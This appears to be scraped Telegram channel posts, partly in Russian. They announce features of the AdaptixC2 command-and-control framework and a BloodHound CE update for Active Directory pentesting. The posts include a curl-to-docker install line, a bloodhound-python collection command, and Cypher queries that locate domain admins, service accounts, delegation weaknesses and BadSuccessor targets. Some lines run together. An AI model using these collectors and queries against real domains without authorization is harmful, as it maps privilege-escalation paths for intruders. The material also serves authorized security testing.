https://github.com/Adaptix-Framework/AdaptixC2
* Windows "gopher" agent
* Fast socks5 tunnels via "gopher" agent
* New Remote Terminal
* New Client side tunnels
More details in the changelog: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.4-greater-than-v0.5
2 068
Repost from Whitehat Lab
🔄😉 BloodHound CE v7.3.1
Обновление инструмента для выявления связей и построения графов в 💻 Active Directory. Достаточно учетной записи доменного пользователя.
Отличный инструмент при пентесте 💻 AD среды.
Для сбора информации используются коллекторы bloodhound-ce или SharpHound
Bonus:
BadSuccessor query - dMSA (delegated Managed Service Account) в Windows Server 2025
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectsid ENDS WITH '-516' WITH COLLECT(c1.name) AS dcs MATCH (c2:Computer) WHERE c2.enabled = true AND (c2.operatingsystem contains '2025') AND (c2.name IN dcs) RETURN c2.namecurl -L https://ghst.ly/getbhce | docker compose -f - up
http://localhost:8080/ui/logindocker compose pull && docker compose uppython3 bloodhound-python -u domain_user -p 'P@ss' -ns 10.0.0.1 -d contoso.com -c all --dns-tcp# Domain Admins и время установки пароля
MATCH (g:Group) WHERE g.name =~ "(?i).*DOMAIN ADMINS.*" WITH g MATCH (g)<-
[r:MemberOf*1..]-(u) RETURN u.name AS User,
datetime({epochSeconds:toInteger(u.pwdlastset)}) as passwordLastSet, datetime({epochSeconds: toInteger(u.whencreated)}) AS dateCreated ORDER BY u.pwdlastset# Сервисные УЗ, время установки пароля, дата создания
MATCH (u:User) WHERE u.hasspn=true AND (NOT u.name STARTS WITH 'KRBTGT') RETURN u.name
AS accountName, datetime({epochSeconds: toInteger(u.pwdlastset)}) AS passwordLastSet,
datetime({epochSeconds: toInteger(u.whencreated)}) AS dateCreated ORDER BY u.pwdlastset# Пользователи и описание
MATCH (u:User) RETURN u.name as username, u.description as description# Domain Admins или Administrators с сессией исключая DC
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH
COLLECT(c1.name) AS domainControllers
MATCH (n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' OR
g.objectid ENDS WITH '-544'
MATCH p = (c:Computer)-[:HasSession]->(n) WHERE NOT c.name in domainControllers return
p# Неограниченное делегирование исключая DC
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH
COLLECT(c1.name) AS domainControllers
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name IN domainControllers
RETURN c# Пользователи с ограниченным делегированием
MATCH p = ((u:User)-[r:AllowedToDelegate]->(c:Computer)) RETURN p